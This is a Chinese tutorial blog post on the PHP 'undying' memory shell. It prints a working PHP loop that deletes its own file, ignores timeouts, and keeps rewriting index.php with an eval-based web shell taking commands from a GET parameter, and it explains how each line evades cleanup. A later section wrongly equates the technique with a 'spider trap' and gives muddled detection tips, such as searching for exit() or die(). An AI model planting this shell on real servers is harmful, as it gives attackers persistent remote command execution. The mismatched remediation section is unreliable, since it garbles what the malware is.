PHP内存马:不死马

内存马概念

内存马是无文件攻击的一种常用手段,利用中间件的进程执行某些恶意代码。首先要讲的是PHP不死马,实质上就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码。

不死马剖析

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while (1) {
        $content = '<?php @eval($_GET["cmd"]);?>';
        file_put_contents("index.php", $content);
        usleep(10000);
    }   
?>
  • set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
  • ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)
  • unlink(__FILE__)函数:删除文件(防止文件落地被检测工具查杀)
  • file_put_contents函数:将一个字符串写入该文件中
  • usleep函数:延迟执行当前脚本数微秒,即条件竞争

需要特别注意的是,执行 unlink(__FILE__) 并不会删除正在运行的 PHP 脚本本身,因为脚本在执行过程中已经被加载到内存中。相反,它会删除磁盘上的文件,如果文件正在被其他进程使用,删除操作可能会失败。

"死马"通常是指 PHP 的一种恶意脚本,也称为 "Baidu Spider Trap" 或 "Bad Bots Protection",它会消耗大量服务器资源,阻止搜索引擎爬虫访问网站。以下是一些常见的方法来检测和清除这种恶意代码: 1. **检查常见特征**:死马脚本通常包含特定关键词,如 `exit();`、`die()` 或 `flush();` 等。通过搜索这些代码片段,可以识别潜在的问题。 2. **日志分析**:检查服务器日志,特别是在 `/var/log/apache2/error.log` 或 `/var/log/nginx/access.log` 这样的位置,看看是否有大量的无效请求或异常行为。 3. **使用安全插件**:一些安全插件如 Wordfence、iThemes Security 可以帮助检测并防止此类恶意攻击,它们内置了对死马陷阱的防护功能。 4. **扫描工具**:使用像 ModSecurity 或 WAF (Web Application Firewall) 的安全模块,它们可以实时监控并拦截可疑请求。 5. **更新和补丁**:确保所有使用的 PHP 和关联库都保持最新,因为新版本通常修复了已知的安全漏洞,这可能导致死马利用的漏洞。 6. **清理代码**:如果已经发现恶意代码,删除或注释掉相关的部分,并检查其他地方是否还有类似痕迹。 7. **禁止 IP**:将频繁尝试访问的 IP 地址添加到 `.htaccess` 或防火墙规则中,限制其访问。 8. **强化白名单**:只允许指定的搜索引擎爬虫访问,通过设置 robots.txt 文件明确告知。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shadow_143

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值